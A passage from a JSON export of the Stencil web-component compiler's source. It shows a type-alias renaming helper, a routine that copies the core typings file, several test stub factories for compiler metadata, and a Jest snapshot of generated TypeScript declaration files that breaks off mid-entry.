representation of a type\n * @param typeAlias a type member and a potential different name associated with the type member\n * @returns the updated string representation of a type. If the type is not updated, the original type name is returned\n */\nconst updateTypeName = (currentTypeName: string, typeAlias: d.TypesMemberNameData): string => {\n  if (!typeAlias.importName) {\n    return currentTypeName;\n  }\n\n  // TODO(STENCIL-419): Update this functionality to no longer use a regex\n  // negative lookahead specifying that quotes that designate a string in JavaScript cannot follow some expression\n  const endingStrChar = '(?!(\"|\\'|`))';\n  /**\n   * A regular expression that looks at type names along a [word boundary](https://www.regular-expressions.info/wordboundaries.html).\n   * This is used as the best approximation for replacing type collisions, as this stage of compilation has only\n   * 'flattened' type information in the form of a String.\n   *\n   * This regex should be expected to capture types that are found in generics, unions, intersections, etc., but not\n   * those in string literals. We do not check for a starting quote (\" | ' | `) here as some browsers do not support\n   * negative lookbehind. This works \"well enough\" until STENCIL-419 is completed.\n   */\n  const typeNameRegex = new RegExp(`\\\\b${typeAlias.localName}\\\\b${endingStrChar}`, 'g');\n  return currentTypeName.replace(typeNameRegex, typeAlias.importName);\n};\n\n/**\n * Writes Stencil core typings file to disk for a dist-* output target\n * @param config the Stencil configuration associated with the project being compiled\n * @param compilerCtx the current compiler context\n * @returns the results of writing one or more type declaration files to disk\n */\nexport const copyStencilCoreDts = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n): Promise<ReadonlyArray<FsWriteResults>> => {\n  const typesOutputTargets = config.outputTargets.filter(isOutputTargetDistTypes).filter((o) => o.typesDir);\n\n  const srcStencilDtsPath = join(config.sys.getCompilerExecutingPath(), '..', '..', 'internal', CORE_DTS);\n  const srcStencilCoreDts = await compilerCtx.fs.readFile(srcStencilDtsPath);\n\n  return Promise.all(\n    typesOutputTargets.map((o) => {\n      const coreDtsFilePath = join(o.typesDir, CORE_DTS);\n      return compilerCtx.fs.writeFile(coreDtsFilePath, srcStencilCoreDts, { outputTargetType: o.type });\n    }),\n  );\n};\n\nconst CORE_FILENAME = `stencil-public-runtime`;\nconst CORE_DTS = `${CORE_FILENAME}.d.ts`;\n"
  },
  {
    "path": "src/compiler/types/tests/ComponentCompilerEvent.stub.ts",
    "content": "import * as d from '@stencil/core/declarations';\n\n/**\n * Generates a stub {@link d.ComponentCompilerEvent}. This function uses sensible defaults for the initial stub. However,\n * any field in the object may be overridden via the `overrides` argument.\n * @param overrides a partial implementation of `ComponentCompilerEvent`. Any provided fields will override the\n * defaults provided by this function.\n * @returns the stubbed `ComponentCompilerEvent`\n */\nexport const stubComponentCompilerEvent = (\n  overrides: Partial<d.ComponentCompilerEvent> = {},\n): d.ComponentCompilerEvent => {\n  const defaults: d.ComponentCompilerEvent = {\n    bubbles: true,\n    cancelable: true,\n    composed: true,\n    internal: false,\n    name: 'myEvent',\n    method: 'myEvent',\n    complexType: {\n      original: 'UserImplementedEventType',\n      resolved: '\"foo\" | \"bar\"',\n      references: {\n        UserImplementedEventType: {\n          id: './resources.ts::UserImplementedEventType',\n          location: 'import',\n          path: './resources',\n        },\n      },\n    },\n    docs: undefined,\n  };\n\n  return { ...defaults, ...overrides };\n};\n"
  },
  {
    "path": "src/compiler/types/tests/ComponentCompilerMeta.stub.ts",
    "content": "import * as d from '@stencil/core/declarations';\n\n/**\n * Generates a stub {@link d.ComponentCompilerMeta}. This function uses sensible defaults for the initial stub. However,\n * any field in the object may be overridden via the `overrides` argument.\n * @param overrides a partial implementation of `ComponentCompilerMeta`. Any provided fields will override the\n * defaults provided by this function.\n * @returns the stubbed `ComponentCompilerMeta`\n */\nexport const stubComponentCompilerMeta = (\n  overrides: Partial<d.ComponentCompilerMeta> = {},\n): d.ComponentCompilerMeta => ({\n  assetsDirs: [],\n  attachInternalsMemberName: null,\n  attachInternalsCustomStates: [],\n  componentClassName: 'StubCmp',\n  dependencies: [],\n  dependents: [],\n  deserializers: [],\n  directDependencies: [],\n  directDependents: [],\n  docs: { text: 'docs', tags: [] },\n  doesExtend: false,\n  elementRef: '',\n  encapsulation: 'none',\n  events: [],\n  excludeFromCollection: false,\n  formAssociated: false,\n  hasAttribute: false,\n  hasAttributeChangedCallbackFn: false,\n  hasComponentDidLoadFn: false,\n  hasComponentDidRenderFn: false,\n  hasComponentDidUpdateFn: false,\n  hasComponentShouldUpdateFn: false,\n  hasComponentWillLoadFn: false,\n  hasComponentWillRenderFn: false,\n  hasComponentWillUpdateFn: false,\n  hasConnectedCallbackFn: false,\n  hasDeserializer: false,\n  hasDisconnectedCallbackFn: false,\n  hasElement: false,\n  hasEvent: false,\n  hasLifecycle: false,\n  hasListener: false,\n  hasListenerTarget: false,\n  hasListenerTargetBody: false,\n  hasListenerTargetDocument: false,\n  hasListenerTargetParent: false,\n  hasListenerTargetWindow: false,\n  hasMember: false,\n  hasMethod: false,\n  hasMode: false,\n  hasModernPropertyDecls: false,\n  hasProp: false,\n  hasPropBoolean: false,\n  hasPropMutable: false,\n  hasPropNumber: false,\n  hasPropString: false,\n  hasReflect: false,\n  hasRenderFn: false,\n  hasSerializer: false,\n  hasSlot: false,\n  hasState: false,\n  hasStyle: false,\n  hasVdomAttribute: false,\n  hasVdomClass: false,\n  hasVdomFunctional: false,\n  hasVdomKey: false,\n  hasVdomListener: false,\n  hasVdomPropOrAttr: false,\n  hasVdomRef: false,\n  hasVdomRender: false,\n  hasVdomStyle: false,\n  hasVdomText: false,\n  hasVdomXlink: false,\n  hasWatchCallback: false,\n  htmlAttrNames: [],\n  htmlParts: [],\n  htmlTagNames: [],\n  internal: false,\n  isCollectionDependency: false,\n  isPlain: false,\n  isUpdateable: false,\n  jsFilePath: '/some/stubbed/path/my-component.js',\n  listeners: [],\n  methods: [],\n  potentialCmpRefs: [],\n  properties: [],\n  serializers: [],\n  shadowDelegatesFocus: false,\n  slotAssignment: null,\n  sourceFilePath: '/some/stubbed/path/my-component.tsx',\n  sourceMapPath: '/some/stubbed/path/my-component.js.map',\n  states: [],\n  styleDocs: [],\n  styles: [],\n  tagName: 'stub-cmp',\n  virtualProperties: [],\n  watchers: [],\n  ...overrides,\n});\n"
  },
  {
    "path": "src/compiler/types/tests/ComponentCompilerMethod.stub.ts",
    "content": "import * as d from '@stencil/core/declarations';\n\n/**\n * Generates a stub {@link d.ComponentCompilerMethod}. This function uses sensible defaults for the initial stub. However,\n * any field in the object may be overridden via the `overrides` argument.\n * @param overrides a partial implementation of `ComponentCompilerMethod`. Any provided fields will override the\n * defaults provided by this function.\n * @returns the stubbed `ComponentCompilerMethod`\n */\nexport const stubComponentCompilerMethod = (\n  overrides: Partial<d.ComponentCompilerMethod> = {},\n): d.ComponentCompilerMethod => {\n  const defaults: d.ComponentCompilerMethod = {\n    name: 'myMethod',\n    internal: false,\n    complexType: {\n      parameters: [{ name: 'name', type: 'Foo', docs: '' }],\n      references: { Foo: { location: 'import', path: './resources', id: 'placeholder' } },\n      return: 'Promise<void>',\n      signature: '(name: Foo) => Promise<void>',\n    },\n    docs: undefined,\n  };\n\n  return { ...defaults, ...overrides };\n};\n"
  },
  {
    "path": "src/compiler/types/tests/ComponentCompilerProperty.stub.ts",
    "content": "import * as d from '@stencil/core/declarations';\n\n/**\n * Generates a stub {@link d.ComponentCompilerProperty}. This function uses sensible defaults for the initial stub.\n * However, any field in the object may be overridden via the `overrides` argument.\n * @param overrides a partial implementation of `ComponentCompilerProperty`. Any provided fields will override the\n * defaults provided by this function.\n * @returns the stubbed `ComponentCompilerProperty`\n */\nexport const stubComponentCompilerProperty = (\n  overrides: Partial<d.ComponentCompilerProperty> = {},\n): d.ComponentCompilerProperty => {\n  const defaults: d.ComponentCompilerProperty = {\n    attribute: 'my-cmp',\n    complexType: {\n      original: 'UserCustomPropType',\n      resolved: '123 | 456',\n      references: {\n        UserImplementedEventType: {\n          id: 'placeholder',\n          location: 'import',\n          path: './resources',\n        },\n      },\n    },\n    docs: undefined,\n    internal: false,\n    mutable: false,\n    name: 'propName',\n    optional: false,\n    reflect: false,\n    required: false,\n    type: 'number',\n    getter: undefined,\n    setter: undefined,\n  };\n\n  return { ...defaults, ...overrides };\n};\n"
  },
  {
    "path": "src/compiler/types/tests/ComponentCompilerTypeReference.stub.ts",
    "content": "import * as d from '@stencil/core/declarations';\n\n/**\n * Generates a stub {@link d.ComponentCompilerTypeReference}. This function uses sensible defaults for the initial stub.\n * However, any field in the object may be overridden via the `overrides` argument.\n * @param overrides a partial implementation of `ComponentCompilerTypeReference`. Any provided fields will override the\n * defaults provided by this function.\n * @returns the stubbed `ComponentCompilerTypeReference`\n */\nexport const stubComponentCompilerTypeReference = (\n  overrides: Partial<d.ComponentCompilerTypeReference> = {},\n): d.ComponentCompilerTypeReference => {\n  const defaults: d.ComponentCompilerTypeReference = {\n    location: 'global',\n    id: 'placeholder',\n  };\n\n  return { ...defaults, ...overrides };\n};\n"
  },
  {
    "path": "src/compiler/types/tests/ComponentCompilerVirtualProperty.stub.ts",
    "content": "import * as d from '@stencil/core/declarations';\n\n/**\n * Generates a stub {@link d.ComponentCompilerVirtualProperty}. This function uses sensible defaults for the initial\n * stub. However, any field in the object may be overridden via the `overrides` argument.\n * @param overrides a partial implementation of `ComponentCompilerVirtualProperty`. Any provided fields will override the\n * defaults provided by this function.\n * @returns the stubbed `ComponentCompilerVirtualProperty`\n */\nexport const stubComponentCompilerVirtualProperty = (\n  overrides: Partial<d.ComponentCompilerVirtualProperty> = {},\n): d.ComponentCompilerVirtualProperty => {\n  const defaults: d.ComponentCompilerVirtualProperty = {\n    docs: 'this is a doc string',\n    name: 'virtualPropName',\n    type: 'number',\n  };\n\n  return { ...defaults, ...overrides };\n};\n"
  },
  {
    "path": "src/compiler/types/tests/TypesImportData.stub.ts",
    "content": "import * as d from '@stencil/core/declarations';\n\n/**\n * Generates a stub {@link d.TypesImportData}.\n *\n * @param overrides a partial implementation of `TypesImportData`. Any provided fields will override the defaults\n * provided by this function.\n * @returns the stubbed `TypesImportData`\n */\nexport const stubTypesImportData = (overrides: Partial<d.TypesImportData> = {}): d.TypesImportData => {\n  /**\n   * By design, we do not provide any default values. the keys used in this data structure will be highly dependent on\n   * the tests being written, and providing default values may lead to unexpected behavior when enumerating the returned\n   * stub\n   */\n  const defaults: d.TypesImportData = {};\n\n  return { ...defaults, ...overrides };\n};\n"
  },
  {
    "path": "src/compiler/types/tests/__snapshots__/generate-app-types.spec.ts.snap",
    "content": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`generateAppTypes attr: and prop: prefix generation should not generate attr: or prop: prefixes for props without attributes 1`] = `\n\"/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \\\\\"@stencil/core/internal\\\\\";\nexport namespace Components {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"internalData\\\\\": InternalDataType;\n    }\n}\ndeclare global {\n    /**\n     * docs\n     */\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \\\\\"my-component\\\\\": HTMLMyComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"internalData\\\\\"?: InternalDataType;\n    }\n    interface IntrinsicElements {\n        \\\\\"my-component\\\\\": MyComponent;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \\\\\"@stencil/core\\\\\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * docs\n             */\n            \\\\\"my-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n        }\n    }\n}\n\"\n`;\n\nexports[`generateAppTypes custom event types should generate a type declaration file with custom event types 1`] = `\n\"/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \\\\\"@stencil/core/internal\\\\\";\nimport { UserImplementedEventType } from \\\\\"./some/stubbed/path/resources\\\\\";\nexport { UserImplementedEventType } from \\\\\"./some/stubbed/path/resources\\\\\";\nexport namespace Components {\n    /**\n     * docs\n     */\n    interface MyComponent {\n    }\n}\nexport interface MyComponentCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLMyComponentElement;\n}\ndeclare global {\n    interface HTMLMyComponentElementEventMap {\n        \\\\\"myEvent\\\\\": UserImplementedEventType;\n    }\n    /**\n     * docs\n     */\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLMyComponentElementEventMap>(type: K, listener: (this: HTMLMyComponentElement, ev: MyComponentCustomEvent<HTMLMyComponentElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLMyComponentElementEventMap>(type: K, listener: (this: HTMLMyComponentElement, ev: MyComponentCustomEvent<HTMLMyComponentElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \\\\\"my-component\\\\\": HTMLMyComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"onMyEvent\\\\\"?: (event: MyComponentCustomEvent<UserImplementedEventType>) => void;\n    }\n    interface IntrinsicElements {\n        \\\\\"my-component\\\\\": MyComponent;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \\\\\"@stencil/core\\\\\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * docs\n             */\n            \\\\\"my-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n        }\n    }\n}\n\"\n`;\n\nexports[`generateAppTypes custom event types should generate a type declaration file with multiple components using the same custom event type 1`] = `\n\"/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \\\\\"@stencil/core/internal\\\\\";\nimport { UserImplementedEventType } from \\\\\"./some/stubbed/path/resources\\\\\";\nexport { UserImplementedEventType } from \\\\\"./some/stubbed/path/resources\\\\\";\nexport namespace Components {\n    /**\n     * docs\n     */\n    interface MyComponent {\n    }\n    /**\n     * docs\n     */\n    interface MyNewComponent {\n    }\n}\nexport interface MyComponentCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLMyComponentElement;\n}\nexport interface MyNewComponentCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLMyNewComponentElement;\n}\ndeclare global {\n    interface HTMLMyComponentElementEventMap {\n        \\\\\"myEvent\\\\\": UserImplementedEventType;\n    }\n    /**\n     * docs\n     */\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLMyComponentElementEventMap>(type: K, listener: (this: HTMLMyComponentElement, ev: MyComponentCustomEvent<HTMLMyComponentElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLMyComponentElementEventMap>(type: K, listener: (this: HTMLMyComponentElement, ev: MyComponentCustomEvent<HTMLMyComponentElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    interface HTMLMyNewComponentElementEventMap {\n        \\\\\"myEvent\\\\\": UserImplementedEventType;\n    }\n    /**\n     * docs\n     */\n    interface HTMLMyNewComponentElement extends Components.MyNewComponent, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLMyNewComponentElementEventMap>(type: K, listener: (this: HTMLMyNewComponentElement, ev: MyNewComponentCustomEvent<HTMLMyNewComponentElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLMyNewComponentElementEventMap>(type: K, listener: (this: HTMLMyNewComponentElement, ev: MyNewComponentCustomEvent<HTMLMyNewComponentElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLMyNewComponentElement: {\n        prototype: HTMLMyNewComponentElement;\n        new (): HTMLMyNewComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \\\\\"my-component\\\\\": HTMLMyComponentElement;\n        \\\\\"my-new-component\\\\\": HTMLMyNewComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"onMyEvent\\\\\"?: (event: MyComponentCustomEvent<UserImplementedEventType>) => void;\n    }\n    /**\n     * docs\n     */\n    interface MyNewComponent {\n        \\\\\"onMyEvent\\\\\"?: (event: MyNewComponentCustomEvent<UserImplementedEventType>) => void;\n    }\n    interface IntrinsicElements {\n        \\\\\"my-component\\\\\": MyComponent;\n        \\\\\"my-new-component\\\\\": MyNewComponent;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \\\\\"@stencil/core\\\\\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * docs\n             */\n            \\\\\"my-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n            /**\n             * docs\n             */\n            \\\\\"my-new-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-new-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyNewComponentElement>;\n        }\n    }\n}\n\"\n`;\n\nexports[`generateAppTypes custom event types should generate a type declaration file with multiple custom events from the same location 1`] = `\n\"/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \\\\\"@stencil/core/internal\\\\\";\nimport { SecondUserImplementedEventType, UserImplementedEventType } from \\\\\"./some/stubbed/path/resources\\\\\";\nexport { SecondUserImplementedEventType, UserImplementedEventType } from \\\\\"./some/stubbed/path/resources\\\\\";\nexport namespace Components {\n    /**\n     * docs\n     */\n    interface MyComponent {\n    }\n}\nexport interface MyComponentCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLMyComponentElement;\n}\ndeclare global {\n    interface HTMLMyComponentElementEventMap {\n        \\\\\"myEvent\\\\\": UserImplementedEventType;\n        \\\\\"mySecondEvent\\\\\": SecondUserImplementedEventType;\n    }\n    /**\n     * docs\n     */\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLMyComponentElementEventMap>(type: K, listener: (this: HTMLMyComponentElement, ev: MyComponentCustomEvent<HTMLMyComponentElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLMyComponentElementEventMap>(type: K, listener: (this: HTMLMyComponentElement, ev: MyComponentCustomEvent<HTMLMyComponentElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \\\\\"my-component\\\\\": HTMLMyComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"onMyEvent\\\\\"?: (event: MyComponentCustomEvent<UserImplementedEventType>) => void;\n        \\\\\"onMySecondEvent\\\\\"?: (event: MyComponentCustomEvent<SecondUserImplementedEventType>) => void;\n    }\n    interface IntrinsicElements {\n        \\\\\"my-component\\\\\": MyComponent;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \\\\\"@stencil/core\\\\\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * docs\n             */\n            \\\\\"my-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n        }\n    }\n}\n\"\n`;\n\nexports[`generateAppTypes custom event types should handle custom event type name collisions when defined in separate files 1`] = `\n\"/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \\\\\"@stencil/core/internal\\\\\";\nimport { UserImplementedEventType } from \\\\\"./some/stubbed/path/a/resources\\\\\";\nimport { UserImplementedEventType as UserImplementedEventType1 } from \\\\\"./some/stubbed/path/b/resources\\\\\";\nexport { UserImplementedEventType } from \\\\\"./some/stubbed/path/a/resources\\\\\";\nexport { UserImplementedEventType as UserImplementedEventType1 } from \\\\\"./some/stubbed/path/b/resources\\\\\";\nexport namespace Components {\n    /**\n     * docs\n     */\n    interface MyComponent {\n    }\n    /**\n     * docs\n     */\n    interface MyNewComponent {\n    }\n}\nexport interface MyComponentCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLMyComponentElement;\n}\nexport interface MyNewComponentCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLMyNewComponentElement;\n}\ndeclare global {\n    interface HTMLMyComponentElementEventMap {\n        \\\\\"myEvent\\\\\": UserImplementedEventType;\n    }\n    /**\n     * docs\n     */\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLMyComponentElementEventMap>(type: K, listener: (this: HTMLMyComponentElement, ev: MyComponentCustomEvent<HTMLMyComponentElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLMyComponentElementEventMap>(type: K, listener: (this: HTMLMyComponentElement, ev: MyComponentCustomEvent<HTMLMyComponentElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    interface HTMLMyNewComponentElementEventMap {\n        \\\\\"myEvent\\\\\": UserImplementedEventType1;\n    }\n    /**\n     * docs\n     */\n    interface HTMLMyNewComponentElement extends Components.MyNewComponent, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLMyNewComponentElementEventMap>(type: K, listener: (this: HTMLMyNewComponentElement, ev: MyNewComponentCustomEvent<HTMLMyNewComponentElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLMyNewComponentElementEventMap>(type: K, listener: (this: HTMLMyNewComponentElement, ev: MyNewComponentCustomEvent<HTMLMyNewComponentElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLMyNewComponentElement: {\n        prototype: HTMLMyNewComponentElement;\n        new (): HTMLMyNewComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \\\\\"my-component\\\\\": HTMLMyComponentElement;\n        \\\\\"my-new-component\\\\\": HTMLMyNewComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    /**\n     * docs\n     */\n    interface MyComponent {\n        \\\\\"onMyEvent\\\\\"?: (event: MyComponentCustomEvent<UserImplementedEventType>) => void;\n    }\n    /**\n     * docs\n     */\n    interface MyNewComponent {\n        \\\\\"onMyEvent\\\\\"?: (event: MyNewComponentCustomEvent<UserImplementedEventType1>) => void;\n    }\n    interface IntrinsicElements {\n        \\\\\"my-component\\\\\": MyComponent;\n        \\\\\"my-new-component\\\\\": MyNewComponent;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \\\\\"@stencil/core\\\\\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * docs\n             */\n            \\\\\"my-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n            /**\n             * docs\n             */\n            \\\\\"my-new-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-new-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyNewComponentElement>;\n        }\n    }\n}\n\"\n`;\n\nexports[`generateAppTypes custom event types should handle custom event type name collisions when defined in the component files 1`] = `\n\"/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \\\\\"@stencil/core/internal\\\\\";\nimport { UserImplementedEventType } from \\\\\"./some/stubbed/path/a/my-component\\\\\";\nimport { UserImplementedEventType as UserImplementedEventType1 } from \\\\\"./some/stubbed/path/b/my-new-component\\\\\";\nexport { UserImplementedEventType } from 